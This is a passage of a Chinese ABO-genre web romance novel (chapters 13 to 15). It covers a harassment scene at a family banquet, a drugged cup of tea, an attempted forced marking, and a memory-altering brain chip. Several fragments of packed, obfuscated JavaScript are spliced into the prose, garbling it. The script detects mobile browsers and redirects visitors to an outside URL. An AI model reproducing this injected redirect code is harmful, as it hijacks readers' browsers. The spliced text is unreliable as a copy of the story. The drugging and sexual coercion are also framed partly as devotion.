站在他身后几步远的,是一个身形高大的Alpha。长得倒是挺不错的,五官端正,皮肤白皙,戴着一副金丝边眼镜,看起来文质彬彬,像个受过良好教育的精英人士。 然而当梁因芙的目光,对上对方镜片后的那双眼睛时,心里却咯噔了一下。 那人的目光,正落在梁因芙身上带着露骨的打量。 他的视线,扫过梁因芙因为抱着孩子,弯腰逗弄而微微敞开的领口。 那眼神让梁因芙极其不舒服。 梁因芙将婴儿车往自己身边拉了拉:“洗手间在前厅右手边走廊尽头,你顺着这条路,绕过那个花坛,就能看到通往客厅的后门了。” 他只想快点把这个人打发走。 那个Alpha似乎并不着急走,他反而向前走了两步,离梁因芙更近了些,脸上露出一个自以为得体的笑容。 “哦,这样啊,谢谢,我看你似乎一个人带着孩子在这里,是关家的亲戚吗?还是客人?以前好像没见过你。” 这个人绝对不是单纯来问路的。 好怪。 梁因芙不想再多做纠缠,不再回答对方任何问题,微微侧过身,用身体挡住了婴儿车里的儿子。 “怎么了?我问两句路而已,你就要走?难道你不是这里的人?” 梁因芙冷冷地看向对方:“先生,洗手间的方向我已经告诉你了。现在请你让开,你拦着我的路了。” 他维持着最后的礼貌,不想在关家的宴会上,惹出不必要的麻烦,更不想吓到小宝。 可那个Alpha显然没有见好就收的觉悟,他非但没有让开,反而又向前逼近了半步,几乎要与梁因芙脚尖相抵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关舜被扇得头猛地偏向一边,脸上那副金丝边眼镜,也被打得歪到了一边。 “你!” 关舜猛地转过头,看向梁因芙。他脸上的斯文彻底消失了。 他显然没料到,一个Omega竟然敢对他动手。 这简直是奇耻大辱。 他眼中凶光一闪,几乎是想也不想,抬起手,就要朝着梁因芙那张因为用力扇回去。 “住手!” 一声低低喝如同惊雷,骤然在两人身后不远处响起。 只见关擎不知何时,已经出现在了后花园的入口处,正大步朝着他们这边走来。 关擎先是扫过捂着脸,一脸狰狞的关舜,然后,落在了身体因为愤怒而微微发抖的梁因芙身上。 在看到梁因芙那副惊惶,却又强撑着倔强的模样,和他身后婴儿车里,正扁着嘴,要哭不哭的小宝时,关擎眼中的冰霜瞬间化为要喷薄而出的暴戾。 “关舜,你在这里干什么?” 那语气不像是对待亲戚,倒像是在审问一个闯入私人领地,意图不轨的敌人。 关舜显然也没想到关擎会突然出现,脸上的狰狞僵了一下,捂着脸的手也放了下来,露出脸颊。 “堂哥,你来得正好,我就是问个路而已,你这家里的佣人,脾气也太暴躁了吧,还莫名其妙,抬手就打人,你看看!把我脸都打肿了!这像什么话!” 他颠倒黑白,避重就轻。 梁因芙听着他这无耻的言论,气得浑身发抖,他看向关擎:“他撒谎!他用那种色眯眯恶心的眼神看我!他侮辱我,说我是你养在家里的小情人!他还骂小宝!骂小宝是私生子!还想对我动手!” 他每说一句,关擎的脸色,就阴沉一分。 等梁因芙说完,关擎眼眸里就已经掀起了足以毁灭一切的风暴。 然后,在关舜还没来得及再次开口辩解。 关擎猛地抬起脚,对着关舜的腹部,毫不留情地,狠狠地踹了过去。 “砰!” 一声沉重令人牙酸的闷响。 关舜甚至没来得及发出任何惊呼,整个人就被这势大力沉的一脚,踹得如同一个破麻袋般猛地向后飞了出去,重狼狈不堪地摔在了几米开外,铺着鹅卵石的小径上,甚至还往后滑行了一小段距离,才勉强停下来,蜷缩着身体,发出一声声痛苦的呻吟。 他脸上那副金丝边眼镜,也终于彻底掉了下来,摔在地上,镜片碎裂。 关擎盯着地上的人:“你找死吗?关舜” 13.小美人寻夫记(13) 关舜被打得倒地不起,他伸手颤颤巍巍地摸了摸自己刚才先着地的脸,指尖触碰到一片温热的液体,嘴巴往外吐了吐,收回手凑到眼前,看到自己手指上,两颗牙齿。 梁因芙抱起小宝,站在几步开外。 他知道Alpha之间也是要分等级的。 这种等级,不仅仅取决于家世,财富,社会地位,更取决于Alpha本身的信息素强度,身体素质。 而关擎显然在Alpha中也属于那种站在金字塔尖的顶级。 刚才那一脚,又快又狠,梁因芙看关舜那副痛得几乎要昏厥过去,连惨叫都发不出来,肋骨断了显然都算是轻的。 关舜躺在地上,痛苦地蜷缩着,挤出几声如同破风箱漏气般的啊啊声,听起来既凄惨又令人作呕。 关擎站在原地让关舜闭嘴。 关舜浑身一颤,竟真的不敢再发出任何声音。 管家这个时候过来了。 关擎对着管家,吩咐道:“让人过来,把他抬走,请医生看看,别脏了地方,也别惊扰了其他客人。” 管家连忙躬身应是,立刻拿出对讲机,低声快速地安排起来。很快两个身材健壮,穿着黑色制服,显然是关家保镖模样的人,快步走了进来。 他们看了一眼地上惨不忍睹的关舜,又敬畏地看了一眼面无表情的关擎,然后动作麻利地将如同死狗般的关舜,从地上架了起来,半扶半拖地迅速带离。 关擎将目光投向梁因芙身上:“没事了,你带着孩子,进去休息吧,外面风大。” 梁因芙看了他一眼,没说话,只是将怀里的小宝,抱得更紧了一些。 那个关舜今天被关擎这么毫不留情地收拾了一顿,以那种纨绔子弟的秉性,事后绝对不会善罢甘休,不知道还会闹出什么幺蛾子。 但他对关家内部的那些龃龉和恩怨,实在知之甚少,也毫无兴趣。 梁因芙只知道,关擎在这个家族里的处境,似乎比他想象的要复杂得多。 复杂到什么程度呢?恐怕是内部争夺已经到了白热化,甚至是你死我活的地步。 表面上关家是一个庞然大物整体,光鲜亮丽,权势滔天。 可内里早已是一盘散沙,各自为政,甚至人人都想从这庞大的家族利益中,分得最大的一块蛋糕,想将如今掌权的关擎拉下马,咬上一口他身上的肉,取而代之。 梁因芙抱着小宝,不再看关擎,低低地“嗯”了一声,便转过身,脚步有些匆忙地离开。 他现在只想尽快离开这个是非之地,离这些所谓的关家人和远远的。 小宝似乎也感觉到了爸爸的不安和紧张,伸出小手,无意识地抓着梁因芙胸前的衣料,嘴里发出“咿咿呀呀”的声音。 梁因芙将脸埋在小宝柔软的发顶,嗅着儿子干净的奶香味。 林幻真也来到了后院,管家简短的汇报了几句。 林幻真眼中露出鄙夷和不屑,关家人好种劣种一块出。 关舜就是那种典型惯坏了,好色又没脑子,仗着自己姓关就以为可以无法无天的劣等货色。 林幻真问关擎:“小梁没被吓到吧,那个混蛋下次绝不会让他上门。” 关擎说:“我来得及时,应该还是被吓到了,我去看看他。” “叩,叩。” 梁因芙房门口的敲门声响起。 是关擎。 门外的关擎隔着门板:“是我,你和小宝没事吧?” “刚才那种情况下次再遇到,无论对方是谁,无论在哪里,你记得立刻叫人。你一个Omega,带着孩子,别傻乎乎地一个人硬杠,平白被人欺负了去,知道吗?” 梁因芙听着他这番话,心里那点复杂的情绪,更是翻江倒海。 关擎在门外等了片刻,没等到回应:“梁因芙,你把门打开,我们谈谈刚才的事……” 他的话没说完。 因为一直沉默的梁因芙,忽然有了动作。 他没有开门,只是将门,打开了一条极细的缝隙,只够露出他小半张脸。 梁因芙抱着小宝,站在门后,身体的大部分都隐藏在门板的阴影里。 他看着门外身形高大,因为逆光而显得有些模糊的关擎。 “关先生,麻烦你跟林先生说一声,我……想走了。” 关擎似乎没听清,身体往前倾了一下确认,脸都要挤进来:“你说什么?你要走!” 梁因芙:“对,我想带着小宝,离开这里,我不想再被人认成是你的小情人,也不想让小宝,被人指着鼻子骂是私生子。今天有第一个关舜,明天就可能有第二个,第三个,我惹不起,但我躲得起……” 关擎的脸色难看:“他那种混蛋胡说八道,你何必把他的话当真?我……” “是不是胡说八道,重要吗?” 梁因芙打断了他,“我只是不想再呆了。” 梁因芙看着关擎那副骤然沉默的样子。 他怕再待下去,秘密迟早会暴露。到时候,不仅他和小宝会陷入更加不堪和危险的境地,引来更大的风波。 与其等到那时,被动地狼狈地被人揭穿,不如现在就主动离开。 不过…… 在离开之前,梁因芙看着门外关擎露出受伤表情的俊脸,他要送关擎一份大礼。 关擎听到梁因芙要走的消息,他感觉自己就像一只被放在滚烫的炭火上,急得团团转的蚂蚁。 想要立刻抓住他,留下他。 偏偏没有理由。 他没有任何正当的,能够理直气壮地将梁因芙留下来的理由。 他们之间算什么呢? 他这个雇主,对,但对梁因芙的心思,早就超出了雇佣的范畴。 梁因芙很讨厌他,这一点,关擎无比清楚。 关擎凭什么留下他?以什么身份?用什么样的借口? 梁因芙只会用那双冰冷的眼睛看着他,然后吐出更伤人的话。 林幻真得知梁因芙要走的消息后,看着关擎那副失魂落魄,坐立不安的模样。 “要不然我去帮你劝劝他?我跟小梁毕竟都是Omega,能说上几句话?他应该不会那么排斥我。” 关擎颓然地摇了摇头,绝望道:“没用的,他性格很倔,决定的事情,十头牛都拉不回来,更何况他讨厌我,你去说,恐怕只会让他更反感,觉得我们在联合起来逼他。” 关擎说着抬手,有些烦躁地扯了扯自己的衬衫领口。 他被梁因芙那副决绝的样子,刺激脑子里乱糟糟的,各种疯狂,阴暗,卑劣的念头,不受控制地往外冒。 梁因芙要是走了之后,会去哪里? 会带着小宝,回去找他那个前夫吗? 虽然梁因芙一直说那个前夫死了,可关擎心里,总觉得不踏实。 万一那个前夫没死呢?万一哪一天,他又出现了,回来找他们呢? 梁因芙会不会因为孩子,而选择原谅,甚至重新和那个前夫在一起? 可他又有什么资格不允许? 林幻真看着关擎那副无计可施的样子,心里也叹了口气,他还是决定去试一试。 不管成不成,至少他尽力了。 林幻真找到了梁因芙,只有他们两个人。 梁因芙正在给小宝喂奶,小宝一边喝一边安安静静玩着自己手指,依恋地贴着梁因芙,他很喜欢自己的Omega爸爸。 林幻真放柔了声音,对梁因芙说道:“小梁,我知道阿擎他之前,可能做了很多让你不高兴,冒犯的事情,他这个人,脾气不好又高傲,有时候不太会表达。但是我能看出来,他是真的很喜欢你。我从没见过他,对一个人,这么上心,这么在意。” “他今天听说你要走,整个人都乱了套,跟丢了魂似的,你能不能再考虑一下?或许你们之间有什么误会?” 梁因芙抱着小宝:“林先生,谢谢你的好意。但是我不需要他的喜欢。” “他的喜欢,对我来说,是负担麻烦,羞辱。我只想带着我的孩子,过平静的生活,这里不适合我,也不适合小宝。” 林幻真看着梁因芙那张写满了去意已决的脸,心里明白自己恐怕是劝不动了。 如果梁因芙真的走了,以关擎那个骄傲又偏执的性子,和梁因芙的态度。 他们俩恐怕就真的不太可能了。 “……我们的关系关擎应该没告诉你全,阿擎他该叫我一声嫂子的。” “啊?” 嫂子?林幻真是关擎的嫂子? 那关擎和他哥哥还有林幻真和他丈夫…… 他们这关系这么乱吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273843|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林幻真看着梁因芙脸上那毫不掩饰的震惊和混乱,知道他想岔了,连忙摆了摆手,解释道。 “不是你想的那样……中间很多事情,非常复杂。牵扯到很多人,很多利益,我也不知道该怎么跟你解释清楚。但是我跟阿擎,没有那种关系,诺诺也不是他的孩子。我们只是互相帮助,各取所需。更多的我不能说了。” 林幻真说得很隐晦,但语气里的坦诚和疲惫,是实实在在的。 梁因芙:“林先生,你别告诉我这些了,我不想听。” 他不想知道。 他一点都不想掺和进关家这些乱七八糟,盘根错节,充满了利益交换和秘密的复杂关系里。 梁因芙只是一个从小镇来的,无依无靠的Omega,带着一个孩子,只想求一份安稳平静的生活。 这些豪门恩怨,兄弟阋墙,真假婚姻……离他太远了,也太危险了。 他只是个小镇的Omega。 以前在镇上的时候,梁因芙总觉得小镇外面的Alpha,见识多,能力强,懂得也多,不像那里的那些Alpha,要么粗鲁,要么木讷。 他曾经以为自己能抓住一段不一样的感情,拥有一个不一样的人生。 可现在看来,自己真是太天真,太可笑了。 他根本留不住关擎那样的人。 那样的人,属于更广阔,也更残酷的世界,他们的心太大,装的东西太多,责任,利益,家族,野心,感情或许只是其中最微不足道,也最容易被牺牲掉的一部分。 就像当初岑叙就那样走了。 梁因芙忽然觉得当初还不如就在小镇里,找个老实本分,或许没那么优秀,但至少踏实可靠的Alpha结婚,生个孩子,过着平淡却安稳的日子。 至少不用像现在这样,心力交瘁,遍体鳞伤。 林幻真看着他脸上那副与我无关的表情,心里最后一点劝说的念头,也彻底熄灭了。 他知道梁因芙是铁了心要走了。 他叹了口气,没再说什么,只是轻轻拍了拍梁因芙的肩膀,低声说了句“保重”,然后,便转身离开了房间。 这里确实不是梁因芙该待的地方。 不过,在离开之前,他要送关擎那份“大礼”。 他拿出之前买的那个药。 他将粉末倒进了一杯刚泡好,还冒着热气的,准备端去给关擎的茶水里。 茶水的颜色,似乎也略微深了那么一点点,但在灯光下,并不明显。 梁因芙端起那杯茶,朝着关擎的书房走去。 他抬手,敲了敲门。 “进来。” 梁因芙推开门,走了进去。 关擎正坐在巨大的,深色实木的书桌后面,看到进来的人是梁因芙,露出一个惊讶的神情。 梁因芙走到书桌前,将手中的茶杯,放在了关擎面前的桌面上。 “我都要走了,这杯茶就算是我最后一点心意,我拿给你的东西,你就不能喝一口吗?” 关擎当然知道,这茶里面,可能,不,不是可能,是一定被梁因芙下了东西。 他明明知道,还要去喝? 他这不是蠢吗? 可是…… 关擎看着梁因芙那张近在咫尺刻意放柔了表情的漂亮脸蛋,心里那点警惕,瞬间被一种卑微自虐般的情感所淹没。 这么久以来,梁因芙还是第一次,用这种温和,不带刺,还带着点示弱意味的态度,站在他面前,对他说话。 不是横眉冷对,不是语带讥讽。 哪怕这温柔是假的,是毒药外面包裹的糖衣……也想让人尝尝。 关擎觉得,自己大概是疯了,他盯着那杯茶,看了几秒,然后端起了茶杯看着梁因芙有些紧张的模样。 下一刻关擎仰起头,一口闷了下去。 Alpha将空了的茶杯,放回桌面上,发出咔的一声轻响。 关擎下一刻猛地站起身,他几步绕过书桌,走到梁因芙面前,在梁因芙还没反应过来之前,伸出双手,握住了梁因芙瘦削单薄的肩膀。 关擎微微低着头,看着梁因芙那张因为他的突然动作恐慌的漂亮脸蛋,卑微地哀求:“别走行吗?” “你要是不走,今天就算是你给我下的是毒药……我也认了。” 14.小美人寻夫记(14) 梁因芙难以置信:“你知道那里边儿有东西?” 关擎没有回答,他隐隐觉得自己的肚子有点痛。 但他依旧没有松开握着梁因芙肩膀的手。 甚至,他假装闷哼一声,身体不受控制地向前倾,整个人顺势就将梁因芙,紧紧地抱进了自己怀里。 他将脸深深地埋进梁因芙的颈窝,贪婪地呼吸着梁因芙身上那股让他魂牵梦萦的气息。 他在梁因芙耳边开口道:“别走行吗?梁因芙,别走求你……别走……” 梁因芙一个失神,整个人就被关擎那猛然收紧,落在了他怀抱里。 他被那股力量拉扯着,后背就贴在了巨大的深色实木书桌边缘。可还没等他反应过来,关擎的身躯就紧跟着压了上来,将他严丝合缝地抵在了书桌和他之间那狭窄的空间里。 后背是冰冷的硬木,前面是滚烫如同烙铁般的Alpha的胸膛。 梁因芙被禁锢得身体发僵。他手脚并用地试图推开身上人,声音因为慌乱,带上了点破音:“你……放开我!关擎!放开!” 关擎非但没有放开,反而将他抱得更紧,仿佛要将他的骨头都勒断,将他的血肉都揉进自己身体里。 他将脸深深地埋在梁因芙的颈窝,滚烫的热气,如同火焰,灼烧着梁因芙颈侧那层细嫩脆弱的皮肤。 他虔诚又疯狂的呓语:“不放,我不放,你答应我不走,我就不放……梁因芙,你答应我别走,求你了。” 梁因芙被他这副癫狂,却又绝望卑微的姿态,弄得又气又急,心乱如麻。他用尽全身力气,猛地推搡着关擎的胸膛,试图拉开一点距离:“你是混蛋吗?关擎,就是个彻头彻尾的混蛋!疯子!你放开我!听到没有!” 他感觉自己的后腰,因为刚才那一下挣扎,撞了一下,疼得厉害了。 可这点疼痛,比起被强行禁锢,如同猎物般的屈辱感,根本不值一提。 “对……我就是混蛋……” 关擎似乎被他的怒骂刺激到了,他猛地抬起头。 “我就是个混蛋,疯子禽兽,你想骂什么都行,但是梁因芙你别走……好不好?” 他说着,忽然低下头,将自己的嘴唇,重重地带着滚烫的温度力道,印在了梁因芙因为挣扎而敞开着的白皙脆弱的脖颈上。 不是亲吻,更像是啃咬的厮磨。 一下,又一下,沿着那优美的颈线。 关擎将自己的嘴唇,贪婪地贴在了梁因芙散发着诱人清甜信息素的腺体皮肤附近。 那层薄薄皮肤下,腺体因为主人的惊恐和排斥,而抗拒般地收缩,颤抖着。 关擎一动,就引起梁因芙一阵抑制不住细微的战栗。他贴着梁因芙的脖子,魔怔地重复:“今天就算你要我的命,我也认了,梁因芙,我认了,你别走别离开我。” 关擎不知道为什么?他一想到梁因芙要离开他,他就感到了极度的绝望。 他不能让梁因芙离开。 热气,触感,如同毒蛇的信子,舔舐着梁因芙最敏感的神经。 梁因芙浑身的鸡皮疙瘩,瞬间全都起来了。 一股被侵犯,亵渎的愤怒和恶心感,从尾椎骨直冲天灵盖。 他感觉自己像是掉进了一个充满了滚烫岩浆和Alpha强势信息素,令人窒息的泥潭,越是挣扎,陷得越深。 “谁要你的命啊,你这个疯子,神经病……放开我,” 梁因芙嘶吼,更加剧烈地挣扎,踢打。 可Alpha和Omega之间,本就存在着巨大的力量差距。 梁因芙的挣扎,就像是在撼动一座即将喷发的火山,非但没能挣脱,反而让两人之间本就紧密相贴的身体,挤压得更加厉害。 关擎那只箍在他腰间的手臂,几乎要勒断他的腰。而关擎身体的另一部分,也因为此刻激烈的情感而产生不容忽视的变化,恶意般地宣布着威胁感。 梁因芙浑身僵硬,种种情绪,如同潮水般淹没了他。 他的鼻腔里,此刻更是被关擎身上那股浓烈到几乎化不开,清冽而霸道的雪松信息素,给彻底填满了。 那味道,曾经让他安心,让他依恋,让他以为是家的气息。 可此刻,这气息却如同无形的蛛网,将他层层缠绕,试图入侵他的感官,瓦解他的意志,让他臣服,让他妥协,让他被迫接受这令人作呕屈辱的亲近。 梁因芙感觉自己快要被这信息素溺死了。 每一次呼吸,都仿佛吸入了滚烫的毒气,烧得他肺叶生疼,头脑发昏,四肢发软。 他只能拼命却徒劳地挣扎着,试图从那令人窒息的怀抱和信息素牢笼中,挣脱出来一丝缝隙,获取一点点新鲜自由的空气。 关擎似乎也感觉到了他的窒息,他微微松开了些许力道,但依旧将人牢牢地圈在怀里。 他低下头,看着梁因芙那双因为愤怒,恐惧和生理性泪水而显得格外水润,也格外破碎的琥珀色眼睛,诱哄又威胁道:“你答应我别走,我就放开你好不好?” “梁因芙只要你答应我留下来了我什么都听你的。” 那语气,像是在谈条件,字句虽然是卑微的祈求,但完全没让梁因芙选择。 梁因芙剧烈地喘息着,他看着关擎写满了疯狂执念和痛楚的眼睛,心里那点因为挣扎和恐惧而产生的慌乱,瞬间被坚定所取代。 “不,我才不要留在这里,我要回家,带着小宝回家,回到没有你的地方去!你放开我!” “回家?” 关擎似乎被这两个字刺痛了,他眼中那点诱哄的柔和,瞬间被更加深沉的阴鸷和暴戾所取代。 他紧紧地盯着梁因芙,声音也陡然变得尖锐,充满了嫉妒:“回家?回哪里?回你那个前夫那里去吗?你就这么放不下他?” 关擎无法理解,也无法接受,那个在梁因芙口中死了的前夫,凭什么能在梁因芙心里,占据如此重要不可取代的位置? 而他却只能得到梁因芙无尽的排斥,厌恶,和逃离。 梁因芙残忍道:“反正比你好。” “我这辈子都不会嫁给你,关擎,你死了这条心吧。” 关擎只觉得脑子里轰地一声,仿佛有什么东西,彻底炸开了。 愤怒,嫉妒,不甘,被彻底否定,灭顶般的恐慌和疯狂,如同海啸般席卷了他所有的感官和思维。 “为什么?告诉我为什么!我到底哪里不如他?” 在极致的愤怒和失控下。 Alpha的本能和那近乎毁灭性的占有欲,彻底压倒了残存的理智。关擎的目光,死死地锁定在梁因芙脖颈,那处因为刚才的厮磨而变得更加红润,微微发烫,散发着更加诱人清甜气息的Omega腺体上。 那是Omega身上最脆弱,最有诱惑力的地方。 他想要在上面,烙下属于他关擎永久的印记。 梁因芙敏锐地感觉到了关擎目光的变化,和他身上骤然攀升充满侵略性的信息素。 他心中警铃大作,猛地侧过头,躲避关擎那如同饿狼般盯着他腺体的目光,声音因为恐惧和愤怒,而变得尖锐,甚至带着点哭腔。 “……不许咬!关擎!你……你敢!” 他太清楚,一个Alpha强行标记一个Omega,意味着什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282810|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那是比□□侵犯更加残忍,也更加难以磨灭的,精神和生理上的双重掠夺和奴役。 如果被关擎标记了,那他这辈子,恐怕就真的和这个男人,彻底绑死了,再也无法摆脱这令人作呕的信息素和这个人。 关擎却像是没听到他的警告和恐惧。 他低下头,灼热的的气息,逡巡在梁因芙那脆弱的腺体周围。 梁因芙能感觉到,关擎的牙齿,轻轻地触碰到了他腺体上那层敏感的皮肤,带来一阵令人毛骨悚然的战栗。 关擎一字一顿承诺道:“我会跟你结婚的,梁因芙我会的,我很快就会把事情都解决好,然后跟你结婚,我会给你和小宝一个名分,一个真正的家,你信我……” 梁因芙听着他这番承诺,心里没有半分感动。 他知道,关擎这话,是认真的。 不。 他绝不要。 极致的恐惧,愤怒,和一种被逼到绝境后不顾一切的疯狂,瞬间攫住了梁因芙。 他知道自己不能再犹豫。 再这样下去,他真的会被这个疯子彻底标记,甚至做出更可怕的事情。 梁因芙不再试图用语言去反抗,他知道,那没用。 梁因芙手指往后扫,一把抓住了一个的石膏笔筒,朝着关擎的头砸了过去。 关擎猝不及防,被这突如其来,用尽了全力的一击,砸得头猛地偏向一边,身体也踉跄着,松开了对梁因芙的禁锢,向后倒退了两步。 梁因芙也因为向后跌坐在了冰冷的地板上,手里还紧紧攥着那个已经沾上了暗红色血迹的石膏笔筒。 他惊恐地大口大口地喘着气,心脏狂跳得仿佛要冲破胸腔,浑身都在不受控制地剧烈颤抖。 梁因芙抬起头,看向关擎。 只见关擎一手捂着自己被砸中左侧脑袋上方一点的位置,指缝间,有暗红色粘稠的液体,正汩汩不受控制地涌了出来,迅速染红了他苍白的手指。 鲜血顺着他棱角分明的下颌线,一滴一滴,砸落在昂贵的地毯上,晕开一小片刺目的暗红。 他有些僵硬地放下了捂着头的手,低头看了看自己满手的鲜血,又抬起头,看向跌坐在地上,脸色惨白如纸的梁因芙。 他仿佛还没从刚才那剧烈的撞击和疼痛中回过神来。 鲜血正不断欢快地向外涌出,将他半边脸和脖颈,都染得一片狼藉,在书房昏黄的灯光下,显得格外狰狞,可怖。 然后关擎看着梁因芙,张了张嘴,似乎想说什么。 可还没等他说出任何一个字,他的身体,忽然抽搐了一下。 紧接着,他像是被抽走了所有力气。 关擎那倒在了地板上。 梁因芙呆呆地坐在冰冷的地板上,脑子里一片空白,耳朵里嗡嗡作响,仿佛整个世界的声音,都在瞬间离他远去了。 只有自己那疯狂擂动的心跳声,和血液冲上头顶的轰鸣声,在死寂的房间里,被无限放大。 他杀了关擎? 不……不会的…… 他只是……只是想推开他……只是想阻止他……他没想…… 梁因芙猛地扔掉了手里那个沾满血迹,如同烫手山芋般的石膏笔筒,手脚并用地从地上挣扎着站了起来。 他不能……不能让他关擎在这里…… 他要……叫人…… 对,叫人!叫医生! 梁因芙几乎是踉跄着,跌跌撞撞地冲出的书房。 “来人!快来人啊!快叫医生!快来人——!!!” 而躺在地上的关擎伤口处裸露出了类似芯片的东西。 15.小美人寻夫记(15) 因为关擎对梁因芙不同寻常的特殊待遇,让原本如同铁桶一般,戒备森严,几乎不可能有外人能够随意进出的关家老宅,出现了短暂的混乱和漏洞。 尤其是在关擎重伤昏迷,被紧急送往医院抢救。 林幻真和管家等人方寸大乱,注意力全集中在抢救和封锁消息上。 对梁因芙这个罪魁祸首的态度,他们也不敢对他采取过于强硬的手段,只是将他暂时看管在他自己的房里,等待关擎醒来发落。 梁因芙惊魂未定,却又在绝望中生出孤注一掷勇气。 他趁着守在外面的人换班,带着小宝逃了。 关擎被紧急送往了私立医院。 他被石膏笔筒砸出的伤口虽然看着狰狞,血流了不少,但万幸的是没有伤及颅骨和要害的大脑区域,只是造成了严重的脑震荡,局部组织损伤。 还有一个必须立刻处理的问题。 医生发现在关擎的头部,靠近受伤位置的皮下,竟然嵌入着一块微小精密非医疗用途的特殊芯片。 这块芯片因为这次猛烈的外力撞击,出现了严重的物理损坏和功能紊乱,甚至可能对周围的脑组织产生了异常的刺激和干扰,必须立刻手术取出。 手术进行得很顺利。 那块米粒大小的银灰色芯片被取了出来。 手术同时也处理了额角的外伤,进行了清创,缝合和包扎。 身体素质过人,关擎在手术后仅仅昏迷了一夜,便在第二天清晨睁开了眼睛。 麻药的效力已经过去,伤口传来持续的痛,让他刚刚恢复清明的意识,瞬间被拉回了现实。 他忍不住抬起手,想要去触碰那被层层纱布包裹的部位。 就在这时,一直守在病床边显然是心腹下属的中年男人,立刻上前一步,将一个密封在无菌透明袋里的银灰色小芯片,双手捧到了关擎的面前。 “长官,这是……从您头部取出的东西。” 关擎的目光,有些涣散地落在了那个小小芯片上。 起初,是茫然的。 可随着关擎的目光聚焦,像是有一把钥匙骤然插入了锈蚀已久的锁孔,用力一拧,打开了那扇尘封已久,被强行关闭的记忆之门。 如同潮水般的画面,声音,情感,呼啸着,冲撞着,瞬间疯狂地涌入他的脑海。 几乎要将关擎的头颅撑裂。 头痛在这一刻达到了顶点。 关擎闷哼一声,脸色瞬间变得惨白如纸,额头上刚刚干涸的冷汗,又一次密密麻麻地渗了出来,甚至浸湿了额角的纱布。 他想起来了。 什么都想起来了。 不是因为受伤才恢复记忆。 而是因为这块芯片被取出来了。 因为嵌入关擎脑中的芯片,他才记忆混乱,将岑叙和关擎的身份,经历,情感,搅成了一团乱麻,甚至对着那个他拼了命也想要保护,想要留下的人,做出了那么多不可理喻的举动。 关擎回到关家,是因为林幻真当初给他传来的那条紧急加密信息。 ——你大哥出意外,速回,情况危急,需你以关擎身份稳住局面。 关擎和哥哥关驰,有着不为外人所知如同镜面般紧密相连却又截然不同的身世和命运。 他们是一对双胞胎,Alpha和Omega父亲结合后不久,便因为理念不合,家族压力等诸多原因分道扬镳。 Omega父亲带着其中一个孩子,哥哥关驰,离开了关家,远走他乡,隐姓埋名,过上了自由自在,与世无争的生活。他是一位才华横溢,却厌恶豪门纷争的画家,他说他的孩子不需要关家这个沉重而肮脏的身份。 而Alpha父亲则留下了另一个孩子,也是现在的关擎,继承了关擎这个名字,和关家继承人的身份责任。 为了掩盖双胞胎的存在,避免可能的内斗和隐患。关家动用手段,对外注销了哥哥关驰的官方身份信息。 只有家族内部少数核心成员,才知道关擎这个身份背后,其实隐藏着一对容貌几乎一模一样的兄弟。 他们从小分开,在不同的环境,不同的父亲身边长大,只有极少数隐秘,不为人知的时刻,才能偷偷相聚。 那年哥哥偷偷潜回关家,想给弟弟一个生日的惊喜。 就在那个生日宴会上,哥哥对林幻真一见钟情。 林幻真出生在与关家有复杂利益关联的林家。 而林幻真也对气质与平日里冷硬傲慢的关擎截然不同的关家少爷,产生了异样的情愫。 岑叙这是Omega父亲给孩子取的名字,随了Omega父亲姓。 两个兄弟。 一个从小在自由,艺术,充满爱和尊重的环境里长大,一个则在名利,权势,肮脏的争斗中长大。 关擎问哥哥想要和林幻真结婚吗? 哥哥说想。 他们就在十七岁那年交换了身份。 关擎作为岑叙陪伴在了Omega父亲身边。 当哥哥关驰出事,下落不明,关家内部暗流汹涌,各方势力虎视眈眈,关擎自己也遭到了追杀,甚至威胁到了远在异乡的Omega父亲时,关擎别无选择。 他必须回去。 以关擎的身份回去稳住局面,查清哥哥的下落。 可是离开那么久,为了完美地扮演关擎,不露出破绽,关擎接受了这个方案,在头部皮下,嵌入一块特制的芯片。 这块芯片里面有很多能帮助他更好地成为关擎的信息,却没想到会让他失去一部分记忆。 遇见梁因芙的时候,正是关擎以岑叙的身份,被关家内部人追杀的时候。 关擎当时并不知道追杀他的人是关家人,直到梁因芙怀孕了,他才断断续续收到了来自林幻真的信息,确定是关家内部人下的手。 他留在梁因芙身边会带给他危险,他也必须回去。 关擎当初受了伤,在那个与世隔绝,宁静到几乎不真实的地方,遇到了那个像山间清泉一样干净,纯粹的Omega,梁因芙。 现在芯片被砸坏了,不得不手术取出。 芯片没了,那些被干扰,模糊的记忆,如同退潮后露出的礁石露出。 关擎躺在病床上,脸色依旧苍白。 “梁因芙人呢?” 在恢复记忆的瞬间,关擎就迫切想要见到他。 病床边的心腹下属,被突如其来质问,连忙道:“长官,梁先生他……跑了,在您手术的时候,趁着守卫换班,家里混乱,带着孩子跑了……” “跑了?” 关擎从病床上撑起了身体,这个动作牵动了头上的伤口和身上的仪器管线,带来一阵尖锐的刺痛和警报声,但他浑然不觉。 “他跑了!带着孩子他能跑到哪里去?你们是干什么吃的?连个人都看不住!” 